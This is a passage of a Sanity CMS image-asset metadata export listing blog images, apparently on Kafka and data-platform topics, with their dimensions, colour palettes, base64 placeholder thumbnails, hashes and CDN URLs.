nJjy2Bg/29M5nKhw/OxMVDCdv2HhrF8IYonERIFZ6qDYcBJtG9z1jfOO0jobNU+HjfbwuD04/jQ4bPYPGn9bnwcXX+VvP5Xru+Vcc6mfScTLXRpbMNaNWNXEzb1xeqE0T+VGW/7Yko9ao8OT4Yfjh4PmoNOb9WVzPIPqilgw4kEpES9zaQxJ6tLccuPHqdP7Pev0lE5vctlVLrvKRVf50nk8v3q6vt1MF3y1DTdGBHDOg93eGfOMiYr6pQUjbcuWG7rc0MWaqBqeLd3nBZyo4EE2f93oP/7o9wNL2/pM1M65SxPMMy4qHuzqm++xI14JcGqC0AThqy36I6t19nR0Mrr6Pp+oiIlcAjh2UIRYSr2CeAX1S+qXTJQsqIMglgOcABzbbrzc8P7Iue1bwyewfvGon0tLneoGBzhySWqj1EEJpEmtJcr/Qcp3UL/EvIAkNRxhAr9+1UpnusEdFEKS2Cix3bgWogkTxVt/dn60xzutS4JCG/qIJv8AKoAUUZaH4A8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32385d","foreground":"#fff","population":0.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#121765","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c6297","foreground":"#fff","population":1.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8aed7","foreground":"#000","population":0.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0a6f4","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6297","foreground":"#fff","population":1.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#363876","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Image2_optimized.png","path":"images/sczeoy4w/production/3ab6b576465ebda95c03c4ce7528196e3cda8e1f-3840x1824.png","sha1hash":"3ab6b576465ebda95c03c4ce7528196e3cda8e1f","size":62360,"uploadId":"KIGW9tvdE1GKqaOybtmBLTbAoUW0Rxik","url":"https://cdn.sanity.io/images/sczeoy4w/production/3ab6b576465ebda95c03c4ce7528196e3cda8e1f-3840x1824.png"} {"_createdAt":"2023-08-25T08:06:12Z","_id":"image-c2aadbe2aa16c873aadcdca0fbe78b86fc1b6daa-1567x844-png","_rev":"n4o7HM4ybKf4O57IbTOoUA","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T08:06:12Z","assetId":"c2aadbe2aa16c873aadcdca0fbe78b86fc1b6daa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7BNm?ZRMjZai?wxtM{WYj]RORQRjj]od","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACZ0lEQVQokT3Re0/aUAAF8H4CKX3cPm7b29LykIAzbhqd6MLURBiKlCKUh0BBHgWUYYaIAaNxTGWZS7bMxWTfdRtLlpx/fznJOZiTM2ghDcQsIxU4pcyrNei2kbfr8n+Q/edofqAExu7Fa9l/wSotWqrTqE7CEs6aDsbAkOdoZeN0c7v/Otxff3uxsT0KbV1tRSeRgy/h6OfV8N3m7mNE/7G+fS/5OqRg/fVSkxAsJ5/H5hePI/FRKjuJp273kpP91H3MeNAzXzPFJyP3FDO+H5jPh0e/wpGp5GuRgsUoXU7tM0oXyB0s+KoRjY+Smduk+cnITnVzumc8RBPTPeMxnv6WyD4lss+x1M+VNx+h1qaRzbsveM8lrw2gZ4wFXtZ3YsN94zppTlK56Tt9shYeB5cHgeXhi9WrpdDtUuhuYW2iLVwySpuWmozSAXKHUU55bYC5A1Zo6yxyMI7pN7vxm42d0fzSGa+2GaXDqT3e3Re8Q+gZsmqPkhoELBF8geALpFAGyMYo4VBQ86q/ogVqLn9D9tlQbQJkA9QG8inj6nHaOaedA+WEFCpOvkDA4r/QUh1zAN0BdJxN4VzGyecJWKbEY1pqAtSikQ3kFuPqsq4ekFsELDq5HCXWaNQkBYsUKhjLJpBoILUA1RIlFv9jGtmkWCVgiRQrtNSgxGMnl8c5c3Z1k4BHOJvBFCER1NLBhao7WOcUi5IsgGqM3JrNUyVgnhQKtFSlRAtnTZxNzzrLDjY9B3RMkjMuNat6S7KvImhV6K6LnpbkPUG+96Knw6tVXq1CzQaogrNpB5NycjmcM+cY4w/+DVO5oq1zSXhSAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36316a","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":13.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":13.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b7d4","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c1c6e4","foreground":"#000","population":0.46,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f93","foreground":"#fff","population":1.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd4549","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-with-karapace.png","path":"images/sczeoy4w/production/c2aadbe2aa16c873aadcdca0fbe78b86fc1b6daa-1567x844.png","sha1hash":"c2aadbe2aa16c873aadcdca0fbe78b86fc1b6daa","size":124530,"uploadId":"apZ3VuMoa3i9mKaxGzvrWBUX0J2MM1f0","url":"https://cdn.sanity.io/images/sczeoy4w/production/c2aadbe2aa16c873aadcdca0fbe78b86fc1b6daa-1567x844.png"} {"_createdAt":"2023-03-08T10:13:53Z","_id":"image-c86d7b693a75cc0dbfd125bf687ddb08f9434186-2500x1308-png","_rev":"zGsPSGo9JGPfNa4sImPASW","_type":"sanity.imageAsset","_updatedAt":"2023-03-08T10:13:53Z","assetId":"c86d7b693a75cc0dbfd125bf687ddb08f9434186","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TDEYu#Kiw~Me}X#DxYwLr@HqNIOqRjTd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB8klEQVQokX3SXU+SARiHcZiubGIKm25lZZusWNpKDUhAAUV8iLdHEMySDCKHQUojFDdaB+Z6XYuj+oCeeORRboLcV+Ol8qD8Ar/9d9+XBqsKtiBMKeD2gMcJih0CFgiPQfQ2xE3wyAhPhiB5GXk+ABk99UIv1S8Gat/7qO+dQ7Y1aP6CvhY4dwpUx1vg0ikwNdgC1/XI615Ovhqo/tBT3euitqVtg5NBcCjgmgXPNMzbwG9uLYyMthcOQ+IaJC8h6X7I9CEbOqTczcnuBWrlTmpFLRqxqog9DN4FCITA74WQGyJTsGiF+F14eAtWbkDSCBkj5K4j+atQHERK/ciODtnuQLY0aMSiIjMxJJlFNvOQXkXWHkN2GdbDkHLC6gSk7kD+Prz1Iu+88HEOqfiQb074YIKyDv7ccCYGqRySLyBrKcgkkJcrkI3AMxc8vQfpMShMw64f3vuQzwpUHiAVN/JpFHnT015oVak7woiiQigEIQVRZ2HRBXEbLI3D8ggkbkLaBC9MsDEMr4ageAVKA7BzEUqd0ACPLAv8tPs59jqoByYQZRKZtyFnPIX2U8h2w+Z5KHQ0sSZ4YI5y4PBzGDRzHBtBAtZmNnJGNjSzMUCuB/JdUGis07bAfXOUfVuQA4+LI78VaTT4G/xP2C1Q/0/wFwM++3Po/AiKAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#833c01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":13.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#950311","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb394c","foreground":"#fff","population":12.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":13.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Priceline_social_media_1200x628.png","path":"images/sczeoy4w/production/c86d7b693a75cc0dbfd125bf687ddb08f9434186-2500x1308.png","sha1hash":"c86d7b693a75cc0dbfd125bf687ddb08f9434186","size":94866,"uploadId":"MIg08AfuBLm9rJI1OoXOczV2HCIZXxoU","url":"https://cdn.sanity.io/images/sczeoy4w/production/c86d7b693a75cc0dbfd125bf687ddb08f9434186-2500x1308.png"} {"_createdAt":"2023-08-25T08:05:01Z","_id":"image-dfb7670755fa79dd22f530c2a23ce8841d166754-1567x844-png","_rev":"JgIs2qI3CUllaKCG3Ttk0P","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T08:05:01Z","assetId":"dfb7670755fa79dd22f530c2a23ce8841d166754","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA6*qi%JMvs:jc?wtQM_kDa~oHs=oLayj=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACY0lEQVQokU3RWU8TUQAF4PkDtrPeO3fmztzZulDSooBKpJAUC8ESkCmD0+kC3WhtS8smLQhCQEDAGI1GhWDiX9WqDybn8Xw5D4dikCMoLlCyUC0gvSSZNTnQJKFNY3BXi3TJwJ4RPQrcP9Ei+1Bv8WpdIHVOLtKi54cOpQZXHsY7E8nuk0R3fGo/nnwTTx5PpS5S9oep1PuxxOXk7MdU+nt8+oqEOxwu973aYHGZkfJUIFqZmX/tZM9t93zBuZhLv3u2eGlnPuVKN17xdv7F1+fujVf6ueB+GY3vB2IdMrCLrC7UN4HWpszB0kTy1Zx9PO+cpuy3T1MnidnT2cVrO/M5X7nzij8Wvdul3F06+y1lX0/OnEUfneHwIbL2cPCIgsQzwsXwUC0y3Bx40A7GOsGhrchIL/b4cCxxPj59PTp5NRy/HB4/Gxo7iIx0tcgO1NtQ35CsPcoPl2jRYdALVvI4XOCVsqDWgNYUjY4c2FHCPRw6wMEDZO0ArcHhEiuvMFKewyVAmpQPpO+BtA84fugyKM/iEq+sCWoDkHWgbYjGNrJ6yOoBvcPhSr8gr/6NoNYpP0zT/fFlBnmsVPgPtwTSBFoLGpuisQ20FiuvMijHKzWBNDhc5nCFgqJNFIeYBdks8soqK//DAmlySpWVi5xSEdSXvLLGoDyNPKF/dYOVV2gxQ+nYjlpuNFYNROtIL/NqGZAa1FpQXxfUKivnOVwQ1CqvlGnRo0X3z2bJL7o+kKZULWOYWTNU1MIVbFXlQF0JttRQh4S3lGBbMquSWZWtJiAVWnT9cJlBORp5Puj8xr8AHSWerxNQYMAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353167","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04196f","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dbe9","foreground":"#000","population":5.85,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dbe9","foreground":"#000","population":5.85,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7377bd","foreground":"#fff","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686e94","foreground":"#fff","population":1.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242d91","foreground":"#fff","population":2.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-custom-configs.png","path":"images/sczeoy4w/production/dfb7670755fa79dd22f530c2a23ce8841d166754-1567x844.png","sha1hash":"dfb7670755fa79dd22f530c2a23ce8841d166754","size":114040,"uploadId":"HNUgN21lq2xUxoT5DcwStC6aSo1mVwwb","url":"https://cdn.sanity.io/images/sczeoy4w/production/dfb7670755fa79dd22f530c2a23ce8841d166754-1567x844.png"} {"_createdAt":"2022-12-07T13:18:01Z","_id":"image-d74f423b1608763b20d935e0eda7b60d29e65ed8-1567x844-png","_rev":"LoIDMXrOVwNddwV7RCTfmZ","_type":"sanity.imageAsset","_updatedAt":"2022-12-07T13:19:16Z","altText":"Making robust and future-proof decisions about your data setup can be complex. The SOFT methodology is here to guide you to the right choices for your needs.","assetId":"d74f423b1608763b20d935e0eda7b60d29e65ed8","description":"Making robust and future-proof decisions about your data setup can be complex. The SOFT methodology is here to guide you to the right choices for your needs. This is a tech blog post hero image with a blue background and some triangles.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACC0lEQVQokXWS608TQRTFt91tu6W2GEVjjNEvxuDOrG1ZC6WAD8BIAGNEUXyAyna2u32RauIjxkcQrDx98AcfvbctrB/8cDI7M3d+e+6Z0cxcFZlCE5nhJtJXG0g5dSSHaugbqrPMfA0pp4F0oYljvN84rKe9qKhAs7wjnR5/jey9dZSefGc5DzYg735BbmGd1607n/l7+NE3OIsbvFZ4uMm1l2Y/os+pd0CXVWc8e+MNb876vzEfHGBqdR+jDN/C+LNtXFvewc0Xu7jl/uC96ys7uK1+ci39PFNodoFdh+en3mFieRtzwQFmvF+dQ893MUGwFYLtYezpFoqP2xhZarNTqqe1izMfkMzX/m353ORbdkMwcjH5cg/Tq/s8kopLbVyYfo+BsVcYKJFaoJhOllqccVT6iIgKdOEhailoJ0ZbGJz7xPnk739lUSvO4iY7ojzpAnoOIpaCLlTnMM1FBYb0EJcKMaGg6bbfvck6B5zqim70+MgaZ2TYPjRLMcwQZcSly4cZZntIXFFISA8mAfl2whoMKbTeg8UkSSEmK4gKHzq5sxU7ZGBSlNGf85F26khkq4iIUMChNg0GlRGldoUPQ1ahywCRXgxdaRnp4ozj41RxjUNmYO9N8VPoZBa3j4ARBgbQRQDNqhzWsWKiDJNyyAbQJWX1P6AL03aRkC7PdcuDwe5C3fyt/wMfCn/OkKtMLgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#563044","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":57.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":57.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4a4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcdd","foreground":"#000","population":0.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7495","foreground":"#fff","population":1.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b04750","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Design_more_robust_data_platforms_with_the_SOFT_methodology_blog.png","path":"images/sczeoy4w/production/d74f423b1608763b20d935e0eda7b60d29e65ed8-1567x844.png","sha1hash":"d74f423b1608763b20d935e0eda7b60d29e65ed8","size":79208,"title":"Design more robust and future-proof data platforms with the SOFT methodology","uploadId":"3LWOa5uS9geQyrB5Lh3oOaa6WPJRMl1P","url":"https://cdn.sanity.io/images/sczeoy4w/production/d74f423b1608763b20d935e0eda7b60d29e65ed8-1567x844.png"} {"_createdAt":"2024-03-19T12:10:05Z","_id":"image-f6e8c539af9b3da254ca8d9692d2913d789f79e0-1753x1933-png","_rev":"FXRJ07CUv2wvNWCbsFgZ8h","_type":"sanity.imageAsset","_updatedAt":"2024-03-19T12:10:05Z","assetId":"f6e8c539af9b3da254ca8d9692d2913d789f79e0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUK+_]%10eJCD%D4WAK%R*%MBVNa#+$$jGqFogv}ocrq00ni-pNa-V","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9068804966373513,"height":1933,"width":1753},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAAC4jAAAuIwF4pT92AAAEIUlEQVQ4jW2TTWxUVRiGz51OKf2h2BahgkCl0AEsFaV3WsrMdDqdUlr6w8wAbYFWbAXblP7YMq1VIejGBQtMTFy4NDFGExbsgJi41JUkxMSfGDeyUtGoiQ3EeR9zZm5Li97kzfd955557vt954wx3kNfwNAfMAxtN5zYazizw/DCSUOk3aipy+CmcvXuESOb1x/Pyc1p1aPhpwzJuqx0aqch1GmIxQzxaAHR+AZCndto7H2aYLIMN+XnC2NUO7QCmloNZHqt4XDYkNhvGNhllKzzq+fAVjqauhWPLhBpv0ZT91WCiUncVAQ3VYGbdHi+Pwc8cGI1lJN7DNbZJWMYrMqjL1BDsi5Nd/3ntIfuEWv9nVDHfTX2/kAweR03dQY3tYlgwhBM5qD7B1YAz23MQVP7DC9t2cSZZybpC9xRsu4BXS60h6ClFUKd0Nj7J8HkTdxUL26qeMmdhT4CjpYbvWEMF0ryOP9kmOHNNxisWqQ/gJJ1Gbpc0R7SCugvBJPXcFPV2jdoaEg81vKFktwcp4qKGS99kdHyrxmphMEq0R8QyTrR5S6qPfwHLfG/CXU+4GDPLRqORWhI+LKzbDi2AvjqGsPFPMNM/nqmCyaYKP6RsTIYqZSFqj9wn8Rzn9HZ+AHx5k+Jtt0l3HGbQ0ePcLAnTw2J7NV6BEz7DPM2OiVc9I0wk/8Nk0UwViaNVP7D0LYvGag5S3d9QIcj9cRio0TbXqf5cJBwR172mkWOrADOGcNr2ehnzrSSdm4z63/gQR9ybuNNRirDpH0OoU6H1pYKxWLVtLSWE21ziLYZWuLepZaM5h3D5VLDjauGeWer5s2bpJ3vmfVnmCqC8fV3NFY2yCsV6xiuNLxrDG0Rh7Zmh3jULCnnDgwPF40+Pm24MWEYN/mkzX7mzDukna806/+NqcJ7TKx7TxeeqOVijY9Ls4aPLud+C4bFRSMvzy1YlzZ+d8vWDu8fKmQhfw9z5kXSzjVm8j9ksvCKxgoPkDJ+ri8YlsyAIZNZzpeAeUA5UhXSDmAbP39bypXy9SysqWK+aJ/eqqnlk+mt/HS3GPDx16+ONYLkZGubLwNhA1IL0I10FKkHqAM2ApuBHYJngRDgIlUDuwAbqyVtAQrseSwB9wKnPGgY6RzSEMp0kcmcRJmzSC8jjSOdBQaRJiSNyu6DRsA6XwbuBgaA1qwL6TwwI2kKaRJpStK8pBlgGGka6W1gPltDLZC/DJRUDlh3x4FOoEeS/cBI1nlu/TTQBySBlCRbJ7IdwabsYVqg7duj28NolmQ31HttxCRFgENWkhq9eNCbZxOwByj1OMst+4AKYCcQ8OBWdvNK2TV7EDavlWRb3Q4Urb42OfmBtUChF62KJGXlDd2uFXiAEi/a2pf9x6045aVZ/qde0v+9f1wW+C9syPKj7tkAwgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#570805","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6c0d","foreground":"#fff","population":6.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb493a","foreground":"#fff","population":3.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#998b7d","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6c0d","foreground":"#fff","population":6.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-cluster-dark.png","path":"images/sczeoy4w/production/f6e8c539af9b3da254ca8d9692d2913d789f79e0-1753x1933.png","sha1hash":"f6e8c539af9b3da254ca8d9692d2913d789f79e0","size":74096,"uploadId":"p80aCcZvzlkC6sCkf3FdyibmiKPsogJ2","url":"https://cdn.sanity.io/images/sczeoy4w/production/f6e8c539af9b3da254ca8d9692d2913d789f79e0-1753x1933.png"} {"_createdAt":"2023-03-07T12:58:08Z","_id":"image-05f4bb346537f0fc375ec34f4c68feafe7fe90b1-2500x1308-png","_rev":"iUKOwlWz6dlX4J4w2XLPkZ","_type":"sanity.imageAsset","_updatedAt":"2023-03-07T12:58:08Z","assetId":"05f4bb346537f0fc375ec34f4c68feafe7fe90b1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM+K.,TU,2j.}?vCkpmuo{L}idUEZhlQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACBklEQVQokV3SXU+SARjGcXSuLF/KclLm6kBLew+GJioCgYol8EiBhuJmAqKS4UuPU7ZWHnbQB3BrbW113Nb8cIhc/0aPpnlwn/523bsuG08NGAiDJwT+IAS9EBqEiT6IOuDlQ0j0QLILzd2C+Rso08Zh7gqllUsc7DRR3rtK6dd1yvvt2E7AcQscOQUaTgucOgE13w6ZNpRr4XClmYPNBg4+N1P+0Url97Uj0H2U0BeA4DCMDcCLXog8gdgDlOhByU6oggsdkLWjpRaUb6JSuEBl5zz6chF9u3wEDkYgGIWJ6o1BxA8xD8T7UcIB0/fQbDdadqCiD2270NpNWGuF9UbYrINiLezWWaCGJ9FMFhXWITsPmdeQT0I+hhZ8MOdAaSfajaGfH9DXZbTrRsXbaNuOzHpk1qAtGzb1GcgbQ6lFtL6JcmlYnEWrKbQaR2k/mnOijBN9NND3bbSXQZ/6oXgH7bSjrQZk1kIV/PfyiAFhAyLjyAjAKx9MDaApJ5q+D6lulHuETDcyH6N3HVBoRRvN8P4cmDUWqFEPCvipeEeQL4BCHgj3o7ALnSqFZKfV8htrNuRaIN8IhXrYqLNAswqm7ZRnOik9d1MOPqMyOQTJXhRzoejJbJTs+tsyx7NZqoJN6CxYMWsovW2kFL9LadTLYXQITffCZBW0hq3/dmglPAbPJvwDGOL89grm2DEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#833d15","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b6551e","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":12.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95030a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3e47","foreground":"#fff","population":11.71,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":12.79,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DAR_social_media_1200x628.png","path":"images/sczeoy4w/production/05f4bb346537f0fc375ec34f4c68feafe7fe90b1-2500x1308.png","sha1hash":"05f4bb346537f0fc375ec34f4c68feafe7fe90b1","size":94964,"uploadId":"OnlfyRkWtqmZwnzNi0nneN0qrqRIX4kO","url":"https://cdn.sanity.io/images/sczeoy4w/production/05f4bb346537f0fc375ec34f4c68feafe7fe90b1-2500x1308.png"} {"_createdAt":"2023-03-07T12:59:26Z","_id":"image-f36cebc9e85d8d440848d10bb4ebd17b2c2341e4-2500x1308-png","_rev":"m9enXaIeqyRrykAc3kekXR","_type":"sanity.imageAsset","_updatedAt":"2023-03-07T12:59:26Z","assetId":"f36cebc9e85d8d440848d10bb4ebd17b2c2341e4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM.T.,TT-Fk6}?vCkomuo{L#iwUEZNlQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACDUlEQVQokW3SXU/SARiGcXxpZaaIlZo5c9Mt7eVABU2EQCXCFEHyFSOSkMnAQlNYpifWQS+rD9CJW1tnHri1PhwC99Xgb7NaX+C359l9mRgOgt0PTh+MecDjAt8oTA9BoB8e34WFXgj3oKc3IHYdrbVQXG8mnzJzsttA4etl8sfXKPxsx3QGThrggz/A4IABLp6BWm2Htato3UIx1cjJdj0nHxspfL9C6UfbKTjiB4cP3BPguQ8P7TBlMy4M3alcqHA3inaheCck2lCyGaUbKGXqKO2eR18uosOmU3A0AN5ZmJ6BKS/MjEHICXPDaKEflm6hSC96OYwOJtG+HW11wVYLbJth5xy8qYGDWkwMBdH4PFpNoRcZiEchsQKpZUgGUMwF0UGUsKJPz9DxZ/RtE71zoP0+tNeBcvUoW41yJkz6DcbSKLOFEjFYj6CNJygVQvExiFoN8EMEHb1HhxvorR3K4H4n2jWjXA2UwcrLjtOX/UHw+1DQA3NuWLCjxQFYvo0iN1F6EO2No9dWtNlZeVk7TZCtg1y1AcrrRBNuSi4Pck8gnxP895DfimaMUVTJpttY+XkHSrRC0gLpBshcgFe1kK2CbBmMt1JY6Sb/aISCZ5zSrAPCNhSyosBZNgr3QLnDSjYtKGmprKx/wVK2ivzGJfLzfeS9LooBB1qywWwZNMLWXx0aYZfB/134C/Py/ijJ/7y7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#873e11","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b65417","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":12.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95030a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3e47","foreground":"#fff","population":11.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":12.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DAR_social_media_1200x628 (1).png","path":"images/sczeoy4w/production/f36cebc9e85d8d440848d10bb4ebd17b2c2341e4-2500x1308.png","sha1hash":"f36cebc9e85d8d440848d10bb4ebd17b2c2341e4","size":101405,"uploadId":"QBa9jBoXN8NpZLaS8vMSFNznsWdJ08md","url":"https://cdn.sanity.io/images/sczeoy4w/production/f36cebc9e85d8d440848d10bb4ebd17b2c2341e4-2500x1308.png"} {"_createdAt":"2023-03-31T12:29:45Z","_id":"image-ba78e956999a93cebfc4e4b1b3d5da0f8df1ad69-2606x1628-png","_rev":"IfootSjA4c56MZIbwSo39M","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T12:29:45Z","assetId":"ba78e956999a93cebfc4e4b1b3d5da0f8df1ad69","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6007371007371007,"height":1628,"width":2606},"exif":{"PixelXDimension":2606,"PixelYDimension":1628,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAAB10lEQVQokXWSW6sVMQyF5///JwVBERVERV+OCHrwgrr3nl6SNm2aWZJ2HzaCPqyHtjNfVlay8bcd8ccZKUSUWiHS0FrDGAPHcfwlv1NV9N5BxAghgojm3Xo3bCUxKGYULlAHqc4fzQx2HFOHLdmUoXcFZ0bONA343UPBjXJGCjtKSuhc0EuFNlk/NQOJoYmhi8HGcqr+5kYyo7W+ips9AAPS